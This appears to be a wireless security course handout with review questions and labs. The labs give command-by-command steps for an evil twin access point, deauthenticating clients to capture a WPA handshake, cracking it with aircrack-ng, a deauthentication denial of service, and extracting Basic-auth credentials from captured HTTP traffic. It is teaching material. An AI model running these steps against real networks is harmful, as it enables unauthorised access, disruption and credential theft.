interface=wlan0                       (What interface to use)
driver=nl80211
ssid=                                 (You choose a network name)
channel=                              (You choose a 2.4 GHz channel, 1-11)

# LINES BELOW THIS POINT ARE OPTIONAL, THINK BEFORE YOU UNCOMMENT
# Lines with # are treated as comments and ignored in the configuration file
# beacon_int=100                      (0.1024 sec. This is the default and not needed)
# ignore_broadcast_ssid=1             (Uncomment to cloak your network)
# hw_mode=a                           (Lines with # are treated as comments)
# ieee80211n=1                        (To use 802.11n specifications)
# channel=36                          (First 5GHz channel, followed by 40, 44, and 48)
```

To add **encryption** to your wireless network, add these next few lines to some configuration file above. As an example, you would do this to mimic the setting of your target network when setting up an evil twin access point.

```
auth_algs=3                           (Open System Authentication)
wpa=2                                 (WPA2)
wpa_key_mgmt=WPA-PSK                  (Personal, passphrase, preshared key)
rsn_pairwise=CCMP                     (CCMP-Advanced Encryption Standard)
wpa_passphrase=P@ssw0rd!              (Same as your target or whatever)
```

4. Configure your wireless card into monitor mode and then a static IP address and route.

```
# airmon-ng check kill                (Kill wpaclient that might cause problems)
# ifconfig wlan0 down
# iwconfig wlan0 mode monitor
# ifconfig wlan0 up 10.99.0.1 netmask 255.255.255.0
# route add -net 10.99.0.0 netmask 255.255.255.0 gw 10.99.0.1
```

5. Print the routing table and confirm a gateway for 10.99.0.0/24 network through wlan0. You should see in the output under the Destination column, 10.99.0.0, with a Gateway of 10.99.0.1 and Flags UG for the interface wlan0.

```
# route -n                            (Prints the routing table)
```

6. Create a DNS and DHCP configuration file for the **dnsmasq** tool inside the same directory as you did with the previous **hostapd** configuration file. Use your favorite editor. Name the file **dnsmasq.conf** . Your software access point will act as the default gateway and DHCP server. The DHCP server will hand out IP addresses (options) for a DNS server and the gateway for victim clients.

Step 6 continued. Create a configuration file in your home directory with the visual editor:

```
# vim dnsmasq.conf                    (Add the lines below)

interface=wlan0
dhcp-range=10.99.0.2,10.99.0.100,255.255.255.0,1h
dhcp-option=3,10.99.0.1                    (Default gateway option)
dhcp-option=6,10.99.0.1                    (DNS server option)
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
```

7. You will need ***two*** separate terminals to run each of the following commands. Start the software access point and DNS/DHCP servers using the new config files. When you execute these commands, they will run in the foreground and will produce textual output when a client joins the network along with any DNS and resource names that get resolved. Think about how you might use this information from an attack perspective. Stopping these services is accomplished by sending the SIGTERM signal (CTRL-C).

```
# hostapd ./hostapd.conf          (Assuming the config file is in the current directory)
# dnsmasq -C ./dnsmasq.conf -d
```

8. In a ***third*** terminal window configure IP forwarding and IPTables rules. The following lines set up network address translation (NAT) across the wired interface, eth0. They also bridge wlan0 and eth0 together and enable routing between both networks. It needs to be understood that these commands and action will not persist across reboots.

```
# iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
# iptables --append FORWARD --in-interface wlan0 -j ACCEPT
# echo 1 > /proc/sys/net/ipv4/ip_forward
```

Section 13 BYOD and Guest Access

1. What two broad categories are devices that are introduced into an organization's wireless network?

2. What are ways to segment guest devices?

3. In what ways can an organization standardize company-issued devices on the wireless network? In other words, what sort of things should be configured?

4. Describe the Mobile Device Management Enrollment Process.

5. What purpose does a walled garden serve?

6. Captive portals are an opportunity for an organization to do what?

7. Explain employee sponsorship with regards to onboarding devices.

8. What is client isolation and why is it a good thing in secure wireless networks?

9. Network Access Controls can be used to assess the security posture of a device. What checks are often done to ensure a device is safe?

Section 14 WLAN Auditing and Analysis

1. What motivations exist for an organization to conduct a wireless network audit?

2. A spectrum analyzer is a great tool for identifying what problems?

3. A protocol analyzer, on the other hand, is an excellent tool for identifying what type of network problems and performance issues?

4. How would a security professional identify a source of narrowband interference as opposed to wideband interference using a spectrum analyzer?

5. A security administrator should be on the lookout for what clues or information when conducting a layer 2 audit of the network?

6. A wireless network is a good target for attackers, why?

7. Auditing wireless networks often extends to the wired network portions as well. What is an example of auditing a wireless network from the wired side?

8. How can employees become better aware of social engineering attacks and help prevent them from being successful?

Extra: Management Interface

Section 15 Wireless Security Monitoring

1. How would you broadly distinguish between a WIDS and a WIPS?

2. An organization using a WIPS is gaining what benefits from its use?

3. How would a WIPS identify threats?

4. There are two generalized models for deploying WIDS/WIPS. What are they?

5. What is the added value of having an overlay solution?

6. There is another name for an access point pulling double duty in an integrated solution. What is that name? Are there any downsides to this?

7. State the device classifications as identified by WIDS/WIPS solution.

8. How can an active WIPS solution mitigate rogue access points?

9. Devices can be located using a couple of ways. What are those ways and how does one differ from the other? What characteristics of the device communication are used to locate it?

10. How would you define a false positive regarding a network sensor alarm?

Extra: Layer 2 Deauthentication attacks

Section 16 Roaming

1. Explain to me again why client devices are always listening off-channel despite a current layer 2 association with an access point.

2. Inside a wireless network, latency in communications will occur. Even more so when you are configuring or deploying enterprise extensible authentication protocols. What contributes to the additional latency?

3. Where is the threshold for latency regarding Voice over Wi-Fi communications? In other words, up to what amount is latency tolerated?

4. In a secure enterprise network, what are the options for fast secure roaming?

5. One of these options tries to predict where a client may roam. What is type of fast secure roaming is this? What could be some drawbacks to this implementation?

6. Key caching is also known as what? Is this any indication on whether this a viable option for forwarding roaming?

7. A company opted-in early for an Opportunistic Key Caching method a few years back. Now the company is on the verge of doubling its wireless network footprint. How well do you think this will go? What should the company consider?

8. How would you explain a mobility domain?

9. Using a fast transition method in compliance with 802.11r can occur how?

10. How do neighbor reports under 802.11k contribute to transitions?

Section 17 WLAN Troubleshooting

1. There are several resources and artifacts about the wireless network that can aid in troubleshooting wireless LAN issues. Name three.

2. Through your troubleshooting steps, you have narrowed down the problem to the VPN connection. What are some things to examine regarding VPNs?

3. How many times would a VoWIFI client authenticate itself to a RADIUS server if everything is working well in a wireless network?

4. Recall that the Wi-Fi Alliance certifies products and devices. In an enterprise wireless LAN using 802.1X/EAP, what certification would you look for when considering upgrading the current VoIP phones to VoWIFI?

5. List out three Zone 1 configurations to verify when troubleshooting an 802.1X/EAP problem.

General Steps to Capture a 4-way Handshake and Crack 'Em

1. Ensure your wireless card supports monitor mode and packet injection. Verify the operating system also recognizes the wireless card. Then, set your wireless card into *monitor* mode.

```
# iwconfig                  (Verify the wireless card is seen e.g. wlan0)
# aireplay-ng --test wlan0  (Test packet injection)
# airmon-ng start wlan0     (Starts monitor mode on wlan0)
```

2. After you put your card into monitor mode with **airmon-ng**, it will create a newly named interface, e.g. wlan0mon. Verify with **iwconfig**. Start a capture and check out the wireless networks and associated clients. Associated and unassociated clients show up in the bottom of the airodump-ng terminal under the STATION column. If the clients are part of a wireless network, they will have the BSSID to the left of its MAC address. Otherwise clients are "not associated" but are probing for networks. Directed client probes will show up in the bottom of the terminal under the Probe column. These probed for networks are previous wireless networks a client has been associated with in the past. Great information for client pattern of life analysis.

```
# iwconfig                  (You should see a newly named interface, wlan0mon)
# airodump-ng wlan0mon      (By default in 2.4GHz on the new monitor interface)
                            (Other useful options are --band  and --channel)
```

3. Once you are satisfied with the general network reconnaissance through **airodump-ng**, close in on your target network and the client. Look for SSID (--essid), channel, and BSSID (--bssid). Modify your capture parameters and write (-w) the files to the current directory. If you are doing the capture with root privileges, you may need to change the ownership (**chown**) of the capture file if you plan on using it with another user account.

```
# airodump-ng --channel <ch#> -w <mytarget> wlan0mon
```

4. Look for your target client. Note the MAC address of the client and the BSSID of the access point. You will deauthenticate both MAC addresses from the each other. The goal is to simply kick the client off just briefly to see it reassociate to the same wireless network. The reassociation process will include the *4-way dynamic key generation*. If your listening device is in the correct location, you can pick up all four messages.

5. Target the client and AP with the **aireplay-ng** tool and a deauthentication attack (--deauth). Ensure your parameters are correct and you still capturing and saving the wireless frames, otherwise you will not have a handshake to use later in the cracking process.

```
# aireplay-ng --deauth 1 -c <MACofClient> -a <MACofAP> wlan0mon
```

6. Look for the “WPA Handshake: ” message at the top of airodump-ng session. This is your visual clue that your listening device was in the proper location to hear the 4-way exchange. If you don’t get the visual indicator, you might not have captured all four messages, or you may have to reinitiate the attack. Opening up the capture file in Wireshark will let you know what just happened and whether you were successful. You should also take a few moments and examine any reason codes that were sent with the deauthentication frames.

7. Kill your airodump-ng session (CTRL-C) and open up the capture file with Wireshark. Apply a couple of display filters to narrow in on your target.

   $ sudo wireshark mytarget.cap (Do this as a sudoer, not root)

   Use the display filter “**wlan.fc.type_subtype == 12**” to show only the deauthentication frames. Look inside the packet details section and expand the *Fixed parameters* subsection under *IEEE 802.11 wireless LAN* section. What reason code is there?

   Clear the display filter and apply a new one but this time filter for “eapol” wireless frames. If your work in the previous step was done correctly and you were in the right location, you should have the frame components that comprise the 4-way handshake. Remember, it is during the 4-way that information is shared between the client and the access point that is subsequently used to derive the dynamic encryption keys (PTK) and to share the group temporal key (GTK) with the associated client. With a clean 4-way handshake, proceed to the next step.

8. Now you should have enough information to try and attempt to recover the wireless network’s passphrase. The whole point of doing this is so that you can then later use the passphrase to allow your attack platform to join the network and proceed with your next phases of the offensive methodology. For example, you can join the target network and begin to scan for other IP address and targets. You could also use this wireless network to get back out to the internet to proceed with a third-party attack.

   The passphrase recovery process (cracking) will take some time to accomplish. You will need the capture file with the target 4-way handshake. You will also need a *wordlist* that serves as a dictionary with possible passphrases. If the dictionary is large enough and the target’s wireless passphrase is in dictionary, **aircrack-ng** will find it. For the time being, point aircrack-ng to the capture file with your wordlist and grab some coffee or make a sandwich. This may take a while depending on your local hardware resources.

   # aircrack-ng -w </path/to/wordlist> <your4-way.cap file>

   If **aircrack-ng** is successful, it will show up in the terminal output. The passphrase recovered is then used to join the wireless network, either manually or through your client utility.

Pull off a Layer 2 Denial of Service Against an Attached Wireless Client

1. Attach a wireless card to the Guest Operating system. Your choice for a wireless card should include those that support the functions of packet injection and monitor mode. You will use both functions to pull off a Layer 2 DoS. Verify the card is recognized.

   ```
   # iwconfig                    (See that a device wlan0 appears)
   ```

2. Set the wireless card into monitor mode.

   ```
   # airmon-ng start wlan0       (This creates a new wireless device, wlan0mon)
   ```

3. Listen to the airwaves for your target AP (BSSID) and client (Station). Note the MAC address of each. These will be used later with the **aireplay-ng** tool.

   ```
   # airodump-ng wlan0mon                    (By default this will listen on ch 1-14)
   # airodump-ng --band a wlan0mon           (Will listen in 5GHz band)
   # airodump-ng --channel 1,6,11 wlan0mon   (Only on channels 1, 6, and 11)
   # airodump-ng --bssid <MACofAP> --channel <Channelof AP> wlan0mon
   ```

4. You need the two MAC addresses from the previous step. **Aireplay-ng** supports a number of attacks including a deauthentication attack (--deauth). Both ends will receive deauths spoofed from the other side of the current layer two association. For example, the client station will receive a series of deauth frames from your wireless card using the spoofed MAC of the access point and vice versa. 64 frames are sent in both directions.

   ```
   # aireplay-ng --deauth 1 -a <MACofAP> -c <MACofClient> wlana0mon
   ```

5. A count of one for the deauthentication attack can also be used to push a client off a wireless network temporarily. The client will then try to rejoin the same network. During this, the SSID is used in a probe request frame from the client. This frame would give up the true wireless network name if SSID cloaking was in use. You could use this attack to push a client off the WPA/WPA2 network to capture a 4-way handshake (EAPOL) during its reconnection attempt. You will need to save the **airodump-ng** capture to do this step.

Examining Credentials Posted During an HTTP Session on the Management Interface

1. Open up a wireless capture that has upper layer information (L3-7) with the Wireshark tool. You will need to search through the capture and look for the "posting of credentials." Apply a display filter to accomplish this.

   http.request.method == "POST"

2. We need to sort through the resulting TCP POSTs. Right click on the first filtered frame. In the pop-up menu, select Follow, then TCP Stream. A new window should pop-up with the reassembled HTTP session information. Red text indicates the client side and blue text indicates the response from the server. You are looking for the key word "Basic" in the client-side communication. Basic is an indication of Base64 encoding.

Wireless Network Adapters for Security Testing

There is an overwhelming amount of choices for wireless network adapters. For security testing purposes, you should consider obtaining a few different wireless network adapters. Probably the most important criteria would be support for monitor mode and packet injection. A bonus should be a removable antenna. Some would consider physical form factor over external antenna connectors.

Alfa Networks AWUS051NH (2.4/5.0 GHz)

- USB
- External antenna

Panda Wireless PAU07 (2.4/5.0 GHz)

- USB
- Low profile with no external antennas

Panda Wireless PAU09 (2.4/5.0 GHz)

- USB
- Dual external antennas

Manually Connecting to an Open Wireless Network

1. Verify your wireless network adapter by name from the command line.

   $ iwconfig (Verify the wireless card is seen e.g. wlan0)

   If the card is in monitor mode, you will need to switch it to managed in the following steps. Managed mode is what allows the software to join as a client to a wireless network.

   # ifconfig wlan0 down

   # iwconfig wlan0 mode managed

   # ifconfig wlan0 up

   # iwconfig (Look for **Mode: Managed** in the output)

2. Scan the area for any available or your specific target wireless network. The build-in command line utility **iwlist** allows you to search for wireless network. The alternative command line tool is **iw**. Sometimes running each one can be a little finicky.

   $ iwlist wlan0 scanning | grep “ESSID”

   # iw dev wlan0 scan | grep “SSID”

3. Use the iwconfig command to manually set the ESSID.

   $ iwconfig wlan0 essid “TheWirelessSSID”

4. Set your IP address information dynamically using the DHCP client (**dhclient**) *OR* manually with the **ifconfig** command.

   # dhclient wlan0 (This should only take a few seconds)

   # ifconfig wlan0 (Verify settings and an IP address is obtained)

   # ifconfig wlan0 192.168.1.100 netmask 255.255.255.0 up (Manual process)

   # ifconfig wlan0 (Verify the manual settings took)

Manually Connecting to a Secure Wireless Network using WPA Supplicant

1. Stop the NetworkManager service with systemctl command.

   # systemctl stop NetworkManager.service

2. Restart the networking service with systemctl command.

   # systemctl restart networking.service

3. Create an /etc/wpa_supplicant.conf file that will be used by the client as authentication to the wireless network. Adjust the GROUP to the name of the administrators (wheel, sudo, etc.) on your Linux distribution. View the man page for the wpa_supplicant.conf file.

   ```
   ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=sudo
   network={
           ssid="TheNetwork"
           scan_ssid=1
           key_mgmt=WPA-PSK
           psk="WiFi_P@ssw0rd!"
   }
   ```

4. Restart the wpa_supplicant service with the systemctl command.

   # systemctl restart wpa_supplicant.service

5. Now point the wpa_supplicant service to the configuration file you created earlier. Ensure you understand the options that are used here. View the man page for wpa_supplicant.

   # wpa_supplicant -B -c /etc/wpa_supplicant.conf -i wlan0

6. You may not need to do this step or the next one. For troubleshooting, this may be necessary to check whether the target secured network is visible to the wireless card. Ensure the wireless card is in managed mode using this sequence.

   # ifconfig wlan0 down

   # iwconfig wlan0 mode managed

   # ifconfig wlan0 up (You should not have an IP address, yet)

   # iwconfig (Look for **Mode: Managed** in the output)

7. Scan the area for any available or your specific secured target wireless network. The build-in command line utility **iwlist** allows you to search for wireless network. The alternative command line tool is **iw**. Sometimes running each one can be a little finicky.

   # iwlist wlan0 scanning | grep "ESSID" (Look for your target in the output)

   # iw wlan0 scan | grep "SSID" (Look for your target in the output)

Manually Connecting to a Secure Wireless Network using WPA Supplicant, continued

8. Use the iwconfig command to manually set the ESSID if necessary. It is likely that the wpa_supplicant.conf file has taken care of this for you already.

```
# iwconfig wlan0 essid "TheNetwork"
```

9. Set your IP address information dynamically using the DHCP client (**dhclient**) *OR* manually with the **ifconfig** command.

```
# dhclient wlan0                                    (This should only take a few seconds)
# ifconfig wlan0                                    (Verify settings and an IP address is obtained)
# ifconfig wlan0 192.168.1.100 netmask 255.255.255.0 up      (Manual process)
# ifconfig wlan0                                    (Verify the manual settings took)
```

Wireshark Filters

Select only frames from a BSSID	wlan.bssid == <BSSID>
Sort by wireless network name	wlan.ssid == “Guest”
Sort on Frame Control Types	wlan.fc.type == #
Sort on Frame Control Subtypes	wlan.fc.type_subtype == #
Management frames	wlan.fc.type == 0
Control frames	wlan.fc.type == 1
Data frames	wlan.fc.type == 2
Association request	wlan.fc.type_subtype == 0
Association response	wlan.fc.type_subtype == 1
Reassociation request	wlan.fc.type_subtype == 2
Reassociation response	wlan.fc.type_subtype == 3
Probe request	wlan.fc.type_subtype == 4
Probe response	wlan.fc.type_subtype == 5
Beacon	wlan.fc.type_subtype == 8
Announcement traffic indication map (ATIM)	wlan.fc.type_subtype == 9
Disassociate	wlan.fc.type_subtype == 10
Authentication	wlan.fc.type_subtype == 11
Deauthentication	wlan.fc.type_subtype == 12
Action frames	wlan.fc.type_subtype == 13
Block ACK Request	wlan.fc.type_subtype == 24
Block ACK	wlan.fc.type_subtype == 25
Power-Save Poll	wlan.fc.type_subtype == 26
Request to Send	wlan.fc.type_subtype == 27
Clear to Send	wlan.fc.type_subtype == 28
ACK	wlan.fc.type_subtype == 29
Posting of HTTP information	http.request.method == “POST”

Wireless Networking II Security Final Exercise

Background: You are a wireless network auditor tasked to assess your coffee company's wireless network security using a black box approach with minimal knowledge of the target network. Proper prior planning is important to do this successfully. The goal is to gather as much information about the network first by passive means and when possible, through active means. This will likely include "breaking into the network" to assess the feasibility of such an approach. Once a client in the network, gather more information about what is found there. Try to imagine what information would be helpful to a legitimate attacker targeting the company's network. Can you get out to the internet or other network resources once a client of the network? What other targets might be in the wireless network besides the access point and yourself.

General Steps for this Assessment:

Passive discovery with monitor interface to identify your target network, setting, and clients

Tools: airmon-ng & airodump-ng

Narrow down your targets by channel and MAC address

Tools: airodump-ng

Select a client to kick off to capture a 4-way in a saved file

Tools: airodump-ng & aireplay

Break the passphrase

Tools: aircrack-ng & mod_rockyou.txt

Join the wireless network as a client using a managed mode wireless interface

Tools: Parrot GUI or command line

Enumerate as much information about the network and any resources as a client

Tools: web browser and/or command line tools

Desired Network Information:

SSID:

BSSID:

Channel(s):

Technology (b, g, a, n, ac):

Open or Secure?

WEP, WPA, WPA2?

Personal or Enterprise?

Beacon Interval in Milliseconds:

Connected Client(s) by MAC:

Connected Devices by IP Address:

Make/Model/Firmware of AP:

IP Address/Subnet Mask of Access Point:

Default Gateway IP:

HTTP/HTTPS?

Internet Access?

Management Credentials:

What is your IP if you join the wireless network?

Comments or Additional Findings: